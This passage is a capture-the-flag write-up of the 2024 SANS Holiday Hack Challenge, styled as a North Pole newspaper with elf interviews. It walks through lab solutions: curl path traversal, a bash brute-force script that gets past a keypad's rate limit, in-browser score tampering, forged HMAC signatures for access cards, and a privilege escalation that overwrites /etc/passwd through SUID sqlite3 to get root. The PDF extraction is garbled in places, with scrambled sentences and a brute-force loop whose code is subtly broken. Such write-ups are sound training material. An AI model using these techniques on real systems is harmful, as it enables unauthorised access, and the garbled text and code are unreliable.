The Kringle Post

Snowy 0°, Tomorrow: Sunny 2°

Friday, January 3, 2025

Northpole

In the spotlight of this issue

"Paradise Packed: KringleCon's Beach Farewell"

In a swift operation last week, hundreds of techsavvy elves dismantled KringleCon's setup at Frosty's Beach, maintaining digital security conditions. protocols despite sandy Event coordinator Jingle Ringford had distributed magical snowballs to newcomers, while security expert Angel Candysalt uncovered suspicious high scores in the event's Connections game through console manipulation. Technical advisor Poinsettia McMittens demonstrated innovative solutions for the Elf Minder 9000 puzzle, discovering that single-spring configurations were sufficient for completion. The annual cybersecurity gathering concluded as equipment and countless Hawaiian shirts were loaded onto Santa's sleigh for the return journey to the North Pole.

"North Pole Conflict Escalates as Factions Deploy Advanced Tactics"

In an alarming development, Wombley Cube "Operation initiated White Christmas," transforming snow-making machines into tactical weapons targeting Alabaster's gift-wrapping operations. Security expert Dusty Giftwrap revealed successful defensive strategies, including the deployment of a "mother-of-all-snow-bombs," Snowshoes uncovered while Eve critical vulnerabilities in both debug and release versions of the faction's management applications. The crisis deepened as Pepper Minstix reported sophisticated cyber attacks against Alabaster's systems, though Wunorse Openslae declined to comment on these operations. Meanwhile, Chimney Scissorsticks defected from Wombley's faction after discovering concerning drone armada plans through flight log analysis and SQL injection techniques.

"Crisis Deepens as North Pole Leadership Grapples with Santa's Absence"

In a concerning development at the North Pole, the disappearance of Santa following the Geese Islands expedition has led to significant operational challenges, with Alabaster Snowball struggling to maintain unity among the elves. Security expert Ninecandle demonstrated web request techniques using curl commands, while Morcel Nougat successfully decoded crucial access codes using an Ottendorf cipher found in recovered documents. Meanwhile, engineer Loggins managed to bypass hardware security protocols, accessing Santa's Little Helper tool through UART interface manipulation and an older API version. The situation escalated when unauthorized root access was discovered in the system, raising additional security concerns during this leadership vacuum.

"North Pole Crisis Resolved as Santa Returns to Restored Workshop"

In a dramatic conclusion to the North Pole's recent turmoil, Wombley Cube's ransomware attack on the sacred Naughty-Nice database was thwarted through unexpected heroic intervention. Security expert Fitzy Shortstack successfully traced the FrostBit ransomware attack through log analysis. while Ribb Bonbowford restored control of the hijacked Santa Broadcast Network by exploiting vulnerabilities in the SantaVision infrastructure. In a technical tour de force, Tangle Coalbox managed to decrypt the compromised Naughty-Nice List by reverse-engineering the ransomware's flawed encryption implementation and subsequently disabled its publication system through a sophisticated blind SQL injection technique. Santa returned to find his workshop restored to harmony, with both factions having learned valuable lessons about cybersecurity collaboration.

We have all the latest news and trends

2024 edition - Read now

Hot News

Welcome to the brand new edition.

New editor-in-chief appointed

Our new editor-in-chief is a dedicated cybersecurity enthusiast with a broad interest in IT. He enjoys solving riddles and tackling problems, finding particular fascination in the field of cybersecurity, though he readily admits there's still much to learn. Balancing work with family life, which always comes first, he makes the most of his free time by exploring new technologies, testing software, and occasionally participating in CTF-style challenges to continue learning and growing.

Learn more about him on his homepage https://www.blk8.de/ or his project webpage https://www.kringlecraft.com/.



The statistics of the month

Crates collected during the Operations: 222553 Number of Snowballs thrown by Players: 640907 Mother of all Snowballs Launches: 1052

Number of Elves playing Candycrush on their Laptops: 12 Favorite Operating System in Santa's home: Windows 8

Password of the year: AllYourBaseBelongToUs (Somebody set up us the bomb?)

Regional Hot News

The Seven Swans a-Swimming, divas of the North Pole Talent Show, demanded a heated pond for their routine. Unfortunately, the Polar Heat Pump 3000 malfunctioned, turning the pond into a geyser that froze mid-air, unleashing the worst blizzard in North Pole history-Snow-maggedon. The swans redeemed themselves by using their synchronized swimming skills to clear the snow, proving even prima donnas can save Christmas in style!

These are the articles in this week's edition.

Prologue

Act 1

Holiday Hack Orientation - Questions about	tł
Elf Connect - Puzzling all of us	
Elf Minder 9000 - Passing springs and tunne	els

Jason - Lost again (Easter Egg) cURLing - A new sport that inspires Frosty Keypad - File Accidents in Data Management Ark of the Covenant - Search Notice (Easter Egg) Hardware Hacking 101 Part 1 - Ensuring the voltage is correct All geese from the Christmas Islands - Gathering (Easter Egg) Hardware Hacking 101 Part 2 - Recovering the Wish List North Pole Monitoring Systems - Data Sources Leaked (Easter Egg)

Act 2

Snowball Showdown - Opposing Sides Mobile Analysis - Deep into the Sources Microsoft KC7 - Blue and Red PowerShell - Mastering the Terminal Drone Path - Following the Tracks

Act 3

Elf Stack - Searching the Needle in the Haystack Santa Vision - Listen to the Feeds Decrypt the Naughty-Nice List - Bits and Bytes Deactivate Frostbit Naughty-Nice List Publication - Blinded vision Grande Finale - Warming Words

Feuilleton

Previous editions Insights into the making of this issue This year's Christmas Carol (Easter Egg)

Article List

Featured Articles

ne organization

The Proloaue

Holiday Hack Orientation **Elf Connect**

Special Report: Packing Up Paradise (Frosty's Beach)

In a dazzling display of elvish efficiency, the KringleCon cleanup crew transformed Frosty's Beach back into its pristine state as hundreds of technically-inclined elves packed their terminals, coiled their network cables, and loaded Santa's sleigh with cybersecurity gear (and quite a few souvenir Hawaiian shirts), all while maintaining proper digital chain of custody and brushing persistent sand from their keyboards.



Holiday Hack Orientation - Questions about the organization

Mr. Ringford, I understand that while you were at Frosty's Beach on Christmas Island overseeing the transition from the 2023 to 2024 SANS Holiday Hack Challenge before returning to the North Pole, you took time to provide orientations to newcomers and distributed magical never-melting snowballs as souvenirs. Could you tell our readers more about how participants accessed their Objectives, Hints, and other Challenge resources through these snowballs on their avatars?

Jingle Ringford

First Terminel

Jingle Ringford: Of course. That was an easy task. We just had to type answer in the terminal to solve it.

Elf Connect - Puzzling all of us

Ms. Candysalt, you had mentioned needing assistance with a word puzzle game called Connections that involved grouping related words together. What made you particularly suspicious about randomElf's claimed score of fifty thousand points during that time, and could you elaborate on the specific challenges you were facing with the game?

Angel Candysalt: For the simple approach, I let the AI help me. In this way, I also received an explanation of how the groups were formed. To make it clearer for our readers I only present the outputs:

I'll give you 16 words. Always find 4 that go together and group them. Crosby, White Christmas, Star, Blitzen, Lights, Garland, Mittens, Comet, Sleigh, Bag, Prancer, Gifts, Jingle Bells, Tinsel, Belafonte, Vixen

Let me group these 16 words into sets of 4 that are thematically related: Reindeer Team: Blitzen, Comet, Prancer, Vixen Christmas Decorations: Lights, Garland, Tinsel, Star Holiday Songs/Singers: Crosby, White Christmas, Jingle Bells, Belafonte Santa's Equipment: Sleigh, Bag, Mittens, Gifts

Elf Connect Elf Minder 9000

Let me organize these 16 security testing tools into logical groups of 4:

Network Analysis Tools: Nmap, Wireshark, netcat, Nessus Mobile/Binary Analysis: Frida, apktool, Cycript, AppMon Web Application Testing: burp, OWASP zap, Nikto, wfuzz Post-Exploitation/Red Team: Metasploit, Empire, Cobalt Strike, HAVOC

Let me group these 16 cryptographic concepts and algorithms into sets of 4:

Historical/Classical Ciphers: Caesar, Scytale, One-time Pad, Ottendorf

Modern Symmetric Algorithms: AES, Blowfish, 3DES, RSA Wireless Security Protocols: WPA2, WEP, TKIP, LEAP General Crypto Concepts: Symmetric, Asymmetric, hash, hybrid

Let me group these 16 networking protocols into logical sets of 4: Layer 2 (Data Link) Protocols: ARP, Ethernet, PPP, IEEE 802.11 Layer 3 (Network) Protocols: IP, ICMP, IGMP, IPX Secure Communication Protocols: SSH, SSL, TLS, IPSec Application Layer Protocols: HTTP, FTP, SMTP, DNS

You wanted a more difficult challenge, so you tried beating randomElf's score?

The clues there told me everything. In the Javascript console, I selected the frame for the Elf Connect game and simply overwrote the variable score. After one round, the value was accepted and I had beaten the high score.

score = 50000;



Amazing! You really connected all the dots like a pro.

Advertisment

BORED SPORC ROWBOAT SOCIETY **Exclusive NFT Drop** Limited Holiday Collection Release Only 10,000 uniquely encrypted SPORCS available Each validated by Santa's Blockchain Mint Price: 100 KRINGLECOINS Password: "HOHOHODL" for Early Access

Elf Minder 9000 - Passing springs and tunnels

During your team's relocation to the North Pole, you were working on a puzzle game involving guiding an elf to an exit, but mentioned encountering problems with the spring mechanics. Could you elaborate on these stability issues you noticed, and what specific improvements you felt could have been made to the game's design, given your apparent expertise in this area?

Poinsettia McMittens: I tried to find the shortest route with the components available to me. The strategy was to shorten longer passages with tunnels or to jump over obstacles with the spring. The following pictures show my setup, which worked but could certainly be optimised.









Page 5 / 51

The Proloaue

Elf Minder 9000

After playing through all the levels, I realised that I could use two springs, not just one. So it was all even better, but this proved that even one spring was enough.



You took the easy win, it seems we're kindred spirits. But there's also a hard way to solve this challenge.



With a little trial and error, I found that springs could lead to unexpected jumps placed right. The following design led to success. There were also other ways, but I want to show the variant that only affected the application and not the source code. The numbers indicate the direction in which the paths were placed and the order in which they were placed.

I'm so tired of these elves acting like corporate zombies, just running in circles until someone tells them what to do. While I'm glad you're helping them with your zen-like guidance, I personally wouldn't bother - I'd just let them wander right off the island!

Lost Package Alert ! MISSING ! Package Name: JASON Last Seen: Christmas Islands, Frosty's Beach Status: Containment Breach **Reward: 50 KRINGLECOINS** Contact: 555-OOPS-HACK Security Notice: Package May Breach Firewalls



cURLing

Special Report: Leadership Crisis Deepens (Front Yard)

As concern grows over Santa's continued absence after the Geese Islands expedition, Alabaster Snowball's attempts to rally support for securing the post-blockchain gift infrastructure have hit an unexpected snag while some elves enthusiastically dive into curl commands and API testing with Bow, others seem mysteriously drawn to extended "breaks" by the fireplace, leading to whispered concerns that the division among elves runs deeper than just differing opinions on database architecture.



cURLing - A new sport that inspires

Mr. Ninecandle, while your colleagues were occupied with the unpacking process, you chose to introduce visitors to what you called a 'curling challenge without ice.' Could you tell us more about how you taught newcomers to use the Curl command-line tool for web requests, and what made you decide to focus on this particular technical skill during the holiday activities?

Bow Ninecandle: I followed the instructions in the dialogue. I was already familiar with many of the options or could quickly find them using a internet search.

Welcome to Curling Fun! We will learn some basic curl commands while playing a round of curling. Are you ready to begin? [y]es: y

1) Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports. Use curl to retrieve the web page on host "curlingfun" port 8080. If you need help, run the 'hint' command. alabaster@curlingfun:~\$ curl http://curlingfun:8080

2) Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https:// curlingfun:9090/

alabaster@curlingfun:~\$ curl -k https://curlingfun:9090

3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter "skip" set to the value "alabaster", declaring Alabaster as the team captain. alabaster@curlingfun:~\$ curl -k -d "skip=alabaster" https://curlingfun:9090

4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called "end" with the value "3", indicating we're on the third end of the curling match. alabaster@curlingfun:~\$ curl -k --cookie "end=3" https://curlingfun:9090

5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/ alabaster@curlingfun:~\$ curl -k -v https://curlingfun:9090

Page 6 / 51

Article List



Art 1



Page 7 / 51

cURLing Frosty Keypad

6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called "Stone" and the value "Granite".

alabaster@curlingfun:~\$ curl -k -H "Stone:Granite" https://curlingfun:9090

7) curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/.././etc/hacks alabaster@curlingfun:~\$ curl -k --path-as-is "https://curlingfun:9090/../../etc/hacks"

Great work!

You know... rumor has it you could breeze through this with just three commands. Why didn't you give it a whirl?

I did. But I only found the hard challenge after I had looked around a bit in the file system. But then I built the commands as before.

alabaster@curlingfun:~\$ cat HARD-MODE.txt

Prefer to skip ahead without guidance? Use curl to craft a request meeting these requirements:

- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow" - Cookie "end" set to "10"
- Header "Hack" set to "12ft'

alabaster@curlingfun:~\$ curl -k -d "skip=bow" --cookie "end=10" -H "Hack:12ft" https:// curlingfun:9090

Excellent! Now, use curl to access this URL: https://curlingfun:9090/../../etc/button alabaster@curlingfun:~\$ curl -k --path-as-is "https://curlingfun:9090/../../etc/button" Great! Finally, use curl to access the page that this URL redirects to: https:// curlingfun:9090/GoodSportsmanship alabaster@curlingfun:~\$ curl -k -L "https://curlingfun:9090/GoodSportsmanship"

Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.

I'm absolutely amazed at your web wizardry - you've mastered the Curl challenge faster than a curling stone on magical ice, and even managed to condense it all into just three commands! You're truly a Curling conjurer!

Frosty Keypad - File Accidents in Data Management

Mr. Nougat, could you elaborate on the crisis that unfolded when Santa went missing, leaving Wombley and Alabaster in charge? Specifically, what led you to believe that the book elves were referencing might help decode the access codes needed for the Shredder McShreddin 9000 to recover the crucial documents for Santa's chest and the Santa's Little Helper tool?

Morcel Nougat: After a little searching, I found a copy of the book in the yard. A search for National Treasure Code from the clues provided in the **Ottendorf Cipher**. The Ottendorf cipher is a code that

uses a book or document as a key, with numbers indicating specific lines, words, and letters to encode or decode messages. The clue sheet then provided me with the page, the word and the letter I was looking for. This was how I got to:

2:6:1	SNUG	S	
4:19:3	WHAT	Α	
6:1:1	NOW	Ν	
3:10:4	CLATTER	Т	
14:8:3	TEAM	Α	

Finally, I used the UV lamp, which I also found in the yard, to display the numbers on the keypad that were used and were therefore possible:

Page 8 / 51



The Kringle Post



Article List

Frosty Keypad

So, it was time for AI again:

can you match the numbers 2 6 7 8 somehow to the characters S A N T A?

Yes, we can map the numbers 2, 6, 7, and 8 to characters in "SANTA" by using some associations based on letter shapes or typical phone keypad mappings. Here are some ideas:

Using letter shapes and appearances:

2 could map to S (since both have a similar curving shape in certain fonts). 6 could map to A (both can look similar in digital or stylized fonts). 7 could map to N (as the 7 resembles the slanted part of an N). 8 could map to T (as both are composed of straight lines and somewhat symmetrical). The remaining A could map to itself or be represented by 2 again (for symmetry). Using phone keypad associations:

On a traditional phone keypad: 2 corresponds to A. corresponds to S. 8 corresponds to T. 6 doesn't correspond to any letter in "SANTA" but could be paired with N creatively. Would one of these approaches work for your needs?

The second option led to success: 72682.

But wait-there was still one more code tucked away! This one might needed a bit more elbow grease... you needed to try a few combinations to crack it, right?

Without any additional information about the second code, the only option left was brute force. When I viewed the first successful and one incorrect code in the Developer Console, I could transfer this to the command line as follows:

https://hhc24-frostykeypad.holidayhackchallenge.com/

curl -H "content-type:application/json" -d "{\"answer\":\"36999\"}" "https://hhc24-frostykeypad. holidayhackchallenge.com/submit?id=null" {"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"}

curl -H "content-type:application/json" -d "{\"answer\":\"72682\"}" "https://hhc24-frostykeypad. holidayhackchallenge.com/submit?id=null" {"output":"success"}

I built a small shell script that iterated through all the possibilities. With about 1000 possibilities and a delay of 1 second, it shouldn't have taken longer than 20 minutes:

#!/bin/bash

Define the digits digits=(2 6 7 8)

Iterate through all combinations for d1 in "\${digits[0]}"; do for d2 in "\${digits[@]}"; do for d3 in "\${digits[0]}"; do for d4 in "\${digits[@]}"; do for d5 in "\${digits[@]}"; do echo "\$d1\$d2\$d3\$d4\$d5" curl -H "content-type:application/json" -d "{\"answer\": \"\$d1\$d2\$d3\$d4\$d5\"}" "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=null" sleep 1 done done done done done

./break.sh 1>break.log 2>/dev/null

grep -B 2 success break.log {"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense

Article List

Page 9 / 51

of order and coherence!"} 22786 {"output":"success"}

{"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"} 72682

{"output":"success"}

And I have found the second possible code: 22786.

I'm absolutely blown away by your skills - not only did you bypass the rate limiter like a legend, but you've also pieced together the code using an Ottendorf cipher (just like during the Frosty Archives crisis... or was it the Jack Frost incident?). You've retrieved all the shreds we needed!



Hardware Hacking 101 Part 1 - Ensuring the voltage is correct

Ms. Loggins, when Santa went missing and you needed assistance with the UART interface for his Little Helper tool controlling North Pole access cards, what prevented the device from responding properly, and why did you believe Morcel Nougat could help recover the shredded serial settings note by Wombley's elves?

Jewel Loggins: When I helped Morcel Nougat, I got a lot of shredded paper snippets, found in Items. I could reconstruct these using the **Python script** from the Hints.

unzip shreds.zip

python3 heuristic edge detection.py

With a small edit in any graphics programme, I could read the note.

With these settings, I could establish now the connection. I just had to pay particular attention to the correct polarity for Send/Receive and the voltage (3 volts).

The Port had to be USB0 (screenshot show the wrong setting here)





Hardware Hacking 101 Part 1 Hardware Hacking 101 Part 2



if you could find that shortcut?

Oh, I did. I copied the address of the frame and repeated the scenario again in Burp Suite and the integrated browser to log all accesses, e.g. https://hhc24-hardwarehacking.holidayhackchallenge.com/? &challenge=termHardwareHacking101A&username=xy&id=xy...

I took a look at the source code and found a place that referred to an older API:



the task. I wasn't quite sure how this solution fit with the 'shortcut, bypassing the hardware altogether', but it seemed to be correct.

I'm thrilled you managed to connect to the UART interface - I would be stuck on those wires!

Results of the 1st class VIP holiday raffle Grace (Goose of the Island of Misfit Toys) Olivia (Goose of Space Island) Lucas (Goose of Pixel Island) Evelyn (Goose of Christmas Island) Barry (Goose of Film Noir Island) James (Goose of Steampunk Island)

Hardware Hacking 101 Part 2 - Recovering the Wish List

So you managed to connect to the UART interface. Then you had to use the 'slh' application to modify the access database for card 42, but you had to find the password first since it's protected, right? Did you try searching the terminal, as passwords sometimes get left in plain sight'?

Jewel Loggins: I booted the system ('Startup system default'). First, I took a look at the command line history.

slh@slhconsole\> history

Article List

The Kringle Post

Page 10 / 51

Article List



Frosty Keypad

Hardware Hacking 101 Part 1

Rumor had it you might be able to bypass the hardware altogether for the gold medal. Why didn't you see

I now made the same call to the older API v1 (in the simplest case via Burp Repeater), and I had solved



1 cd /var/www/html

- 10 slg --config
- 11 slh --passcode CandyCaneCrunch77 --set-access 1 --id 143

So I could also use the password from that previous session.

slh@slhconsole > slh -- passcode CandyCaneCrunch77 -- set-access 1 -- id 42

```
Card 42 granted access level 1.
```

I heard there was a tougher route if you're up for the challenge to earn the Gold medal. It involved directly modifying the database and generating your own HMAC signature, right?

I found the SQLite database in the file system and took a closer look at it:

slh@slhconsole\> ls access cards

slh@slhconsole\> file access cards access cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 8, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 8

slh@slhconsole\> sqlite3 access cards	
sqlite> .header on	
sqlite> .tables	
access cards config	
sqlite> select * from config;	
1 hmac secret 9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e	
2 hmac message format {access}{uuid}	
3 admin password 3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1	
4 app version 1.0	
sqlite> select * from access cards where id=42;	
id uuid access sig	
42 c06018b6-5e80-4395-ab71-ae5124560189 0	
ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd	

An HMAC (hash-based message authentication code) involves a cryptographic hash function and a secret cryptographic key. It can be used to verify both the data integrity and authenticity of data. When I used the value from hmac secret as the key and entered the message with the format {access}{uuid} (without brackets), I could use CyberChef to create a valid signature.

Recipe	^ B 🖿 i	Input	+
НМАС	^ ⊙ II	1c06018b6-5e80-4395-ab71-ae5124560189	
Key 9ed1515819dec61fd UTF8 ▼	Hashing function SHA256		
		aue 37 = 1	
		Output 🖌	
		135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096	

sqlite> update access cards set access=1,

sig='135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096' where id = 42;

Brilliant work! Thanks to you we now have access to... the Wish List! We couldn't have done it without you-thank you so much!

Wait. Wait. I even found a way to completely root the machine. This was based on sqlite SUID root being installed, see gtfobins. I used the built-in function to write files and overwrite /etc/passwd to gain root access. Great huh?

slh@slhconsole\>	LFILE=/etc/passwd				
<pre>slh@slhconsole\></pre>	sqlite3 /dev/null	-cmd ".outpu	t \$LFILE"	'select	"user3:ghTC5HTjVd/7M:0:0:root:/
<pre>root:/bin/bash";</pre>					
<pre>slh@slhconsole\></pre>	su user3				
(password: 123)					

Hardware Hacking 101 Part 2

Password: bash: cannot set terminal process group (9): Inappropriate ioctl for device bash: no job control in this shell user3@1a0597267c1e:/home/slh# id -a uid=0(user3) gid=0(root) groups=0(root) user3@1a0597267c1e:/home/slh#

!! CONFIDENTIAL INTELLIGENCE BRIEF !! North Pole Security Agency (NPSA) Date: 12/25/2024 LEAKED DATA SUMMARY: Multiple elf sources confirm breach of monitoring systems data sources

Screen 1: https://www.youtube.com/watch?v=8f0XTO38J04 RAW: Louisville mailman caught on home surveillance video making a snow angel in woman's yard

Fun fact: This story centers on a heartwarming moment when a mailman in Louisville, Kentucky, was caught on a homeowner's security camera making a snow angel in her yard. Amid a heavy snowfall, the mailman, identified only from his uniform, took a brief pause during his route to lie down in the fresh snow, waving his arms and legs to create the familiar snow angel shape. After completing his impromptu creation, he quickly stood up, dusted off, and continued on his route. The video quickly gained attention, with viewers praising the mailman for spreading cheer, especially during the cold and often stressful winter season. His playful gesture resonated with many who appreciated seeing a moment of joy and humanity in an otherwise routine day.

Screen 6: https://tenor.com/de/view/goblin-sighting-cctv-cctv-goblin-dobby-zach-hadel-gif-17136452 Goblin Sighting Cctv GIF

Fun fact: The "Goblin Sighting CCTV GIF" refers to a viral piece of footage that surfaced online, supposedly showing a strange, small creature caught on a home CCTV camera. In the grainy, nighttime video clip, a small, humanoid figure resembling a "goblin" or other mythical creature appears to walk or dance across a driveway before disappearing from view. The creature has thin limbs, a large head, and an unusual, almost surreal way of moving, which led many to speculate about its origins. The GIF quickly spread across social media, sparking debates about whether it was a legitimate sighting, a prank, or the result of digital editing. Some viewers believed it might be a person in costume or a puppet manipulated off-screen, while others suggested it could be an alien or supernatural being. The mystery and odd appearance of the creature have kept viewers intrigued, though no conclusive explanation has been provided, leaving it as an eerie internet mystery that fuels curiosity and imagination.

Screen 7: https://www.youtube.com/watch?v=6lr0r9WR5Ok Frosty - der Schneemann (frosty the snowman)

Fun fact: Frosty the Snowman is a beloved holiday character who originated in a popular Christmas song written by Walter "Jack" Rollins and Steve Nelson in 1950. The song tells the story of a magical snowman named Frosty, brought to life by a magical hat worn by a group of children. Frosty is a jolly, happy soul with a corncob pipe, a button nose, and two eyes made out of coal. Once brought to life, Frosty charms the children, leading them on a playful adventure through the town.

Screen 8: https://donate.wikimedia.org/wiki/File:Mickey-steamboat-willie.jpg Mickey Mouse Steamboat Willie 1928

Fun fact: Steamboat Willie, released on November 18, 1928, is one of the most iconic animated shorts in history and marked the official debut of Mickey Mouse. Created by Walt Disney and Ub Iwerks, it was also the first Disney cartoon to feature synchronized sound, which was groundbreaking at the time. The short film shows Mickey Mouse as a mischievous deckhand on a riverboat, captained by the illtempered Pete. Alongside Mickey is Minnie Mouse, making her first appearance as well. Steamboat Willie is now recognized as a significant milestone in animation history, symbolizing the birth of modern animated storytelling and becoming an enduring cultural icon. Mickey Mouse's whistle scene, in which he steers the steamboat, remains one of the most famous moments in animation, emblematic of the Disney legacy.

Screen 10: https://knowyourmeme.com/memes/brent-rambo Brent Rambo Meme

Fun fact: The Brent Rambo meme originates from a 1990s Apple Computer promotional video aimed at schools, where a young boy named Brent Rambo is shown smiling and giving a thumbs-up after watching a computer screen. This thumbs-up moment was originally meant to convey approval of Apple's technology and educational software. Years later, this brief clip was rediscovered, edited, and shared online, often as a GIF. Brent Rambo's approving thumbs-up soon became an ironic reaction meme, used to humorously signal approval or satisfaction in unexpected or absurd contexts. The contrast between the wholesome 90s imagery and the often edgy or humorous content it was paired with contributed to the meme's popularity.

Page 12 / 51



Act 2

Snowball Showdown

Breaking News: Tensions Turn to Tactical Snow (Front Yard)

In a shocking escalation that has the entire North Pole on edge, Wombley Cube has been spotted at the R&D workshop retrofitting the snow-making machines with advanced targeting systems and recruiting elves with "particularly good aim" for what he's calling "Operation White Christmas" - a planned tactical snowball offensive that sources say involves detailed network diagrams of Alabaster's gift-wrapping stations and suspicious stockpiles of what appears to be "militarily-hardened" packing snow.



Snowball Showdown - Opposing Sides

Mr. Giftwrap, as someone who had just come from the battlefield, you mentioned supporting Alabaster's side due to concerns about Santa's potential anger. Could you elaborate on the three strategic options you presented for dealing with Wombley Cube - whether through partnership, client-side manipulation, or the deployment of a secret snow bomb - and what made you believe these approaches could help secure victory for Alabaster's faction?

Dusty Giftwrap: The easy way would have been to play with two people, but it wasn't a problem to play alone. First, I had to change the parameter in the URL as follows:

...&singlePlayer=false -> ...&singlePlayer=true

When I played around with the obvious parameters, such as mainScene.snowBallBlastRadius or mainScene.throwRateOfFire, I got a warning message that I had hacked. So I went on the defensive and simply "shrank" Alabaster. This way, he could hardly be hit and victory was mine.

mainScene.alabaster. scaleY=0.1; mainScene.alabaster._scaleX=0.1; mainScene.alabaster.hitbox.height=2; mainScene.alabaster.hitbox.width=2;

A bomb was mentioned indeed, so I searched for this word in the source code and found it in reconnecting-websocket.min.js. I asked the AI again how I could use it.

How can I access, start or launch the dwarfBomb in :

(code from reconnecting-websocket.min.js posted)



Snowball Showdown Mobile Analysis

To access and start the dwarfBomb functionality in the provided JavaScript snippet, you need to trigger the moasb start event as this is the condition that initializes the bomber sequence and ultimately launches the dwarfBomb.

Understanding the Event Flow:

The function bgDebug listens for events of type "moasb start". Once this event is triggered, the main scene (mainScene) initializes the bomber container (bomberContainer) and its components, including the dwarfBomb.

Triggering the Event:

You can trigger the "moasb start" event by dispatching a custom event. Ensure that mainScene exists and the environment is properly set up to handle it.

you can ensure the triggering function calls bgDebug directly with an appropriate event object: bgDebug({ type: "moasb start" });

When I entered this into the console, I was successful and won the battle.



Please wait! It turned out that this call would start the event but would not be counted as a medal. However, an alternative call always led to success: this.mainScene.moasb()

I'm thrilled you managed to launch the 'mother-of-all-snow-bombs' and outsmart Wombley! After last year's snowball fight, we learned to track all player actions server-side to prevent cheating - though let's hope Alabaster didn't leave any client-side vulnerabilities for Wombley. Now that his forces are defeated, they'll have to give up their plans to take over Christmas!

Mobile Analysis - Deep into the Sources

Ms. Snowshoes, regarding the Android application you developed for Team Alabaster's management of Santa's Naughty-Nice List, could you explain how it came to be that a child's name was omitted from both the debug and release versions, and why it was necessary to specifically examine the debug version before addressing the release version issue?

Eve Snowshoes: First, I downloaded the apk file and unzipped it in the local file system, then decompiled it (using jadx as hinted).

Page 14 / 51

Article List



Page 15 / 51

Mobile Analysis

Mobile Analysis

wget https://www.holidayhackchallenge.com/2024/SantaSwipe.apk

```
unzip SantaSwipe.apk -d SantaSwipe
Archive: SantaSwipe.apk
  inflating: SantaSwipe/assets/awe.otf
. . .
```

cd SantaSwipe

. . .

for i in `ls *.dex` ; do jadx /home/xy/SantaSwipe/\$i -d /home/xy/SantaSwipe/\${i%.dex}; done Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true INFO - loading

When I looked around the file system, I saw an interesting file that sent database queries. In the **function** that displayed the NormalList, I could also immediately see which person was omitted: Ellie.

```
cat classes3/sources/com/northpole/santaswipe/MainActivity.java
```

```
. . .
        @JavascriptInterface
        public final void getNormalList() {
. . .
```

Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);

I'm impressed with how smoothly you handled the debug version of the app, just like a sleigh on fresh snow! Now we've got a tougher challenge with the obfuscated release version - ready to showcase your skills to help Alabaster's faction?

First of all, I downloaded the file again. Analyzing an .aab file (Android App Bundle) was slightly different from analyzing an APK because .aab files are designed for distribution via Google Play. They contain resources and binaries for multiple device configurations. To analyze a .aab, I first needed to convert it to an .apk (using bundletool as hinted).

wget https://www.holidayhackchallenge.com/2024/SantaSwipeSecure.aab wget https://github.com/google/bundletool/releases/download/1.15.0/bundletool-all-1.15.0.jar -0 bundletool.jar

java -jar bundletool.jar build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal

```
unzip SantaSwipeSecure.apks -d SantaSwipeSecure
unzip SantaSwipeSecure/universal.apk -d universal
```

apktool d SantaSwipeSecure/universal.apk -o SantaSwipeSecure apk Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true I: Using Apktool 2.7.0-dirty on universal.apk ...

cd universal for i in `ls *.dex` ; do jadx /home/xy/universal/\$i -d /home/xy/universal/\${i%.dex}; done Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true . . .

The interesting files could now be found in the file system (see those below). The encryption key and IV used in the DatabaseHelper class are derived from the app's resources, specifically strings are stored in R.string.ek and R.string.iv. These are retrieved in the constructor using the context.getString() method and then decoded from Base64 to byte arrays.

cat classes/sources/com/northpole/santaswipe/DatabaseHelper.java . . .

```
Intrinsics.checkNotNullParameter(context, "context");
String string = context.getString(R.string.ek);
Intrinsics.checkNotNullExpressionValue(string, "getString(...)");
String obj = StringsKt.trim(string).toString();
String string2 = context.getString(R.string.iv);
```

@Override // android.database.sqlite.SQLiteOpenHelper public void onCreate(SQLiteDatabase db) { Intrinsics.checkNotNullParameter(db, "db");

```
db.execSQL("CREATE TABLE IF NOT EXISTS NiceList (Item TEXT);");
        db.execSQL("CREATE TABLE IF NOT EXISTS NaughtyList (Item TEXT);");
        db.execSQL("CREATE TABLE IF NOT EXISTS NormalList (Item TEXT);");
cU9Yfov6u70cUA2/
OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mX1W2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVL
oeUlQjc18swZVtTQ07Zwe6sTCY1rw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy30IaFxfTdevCoTMwkoPvJuRupA6ybp36vmLL
MXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuaqxjBJ"));
        insertInitialData(db);
    private final String decryptData(String encryptedData) {
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
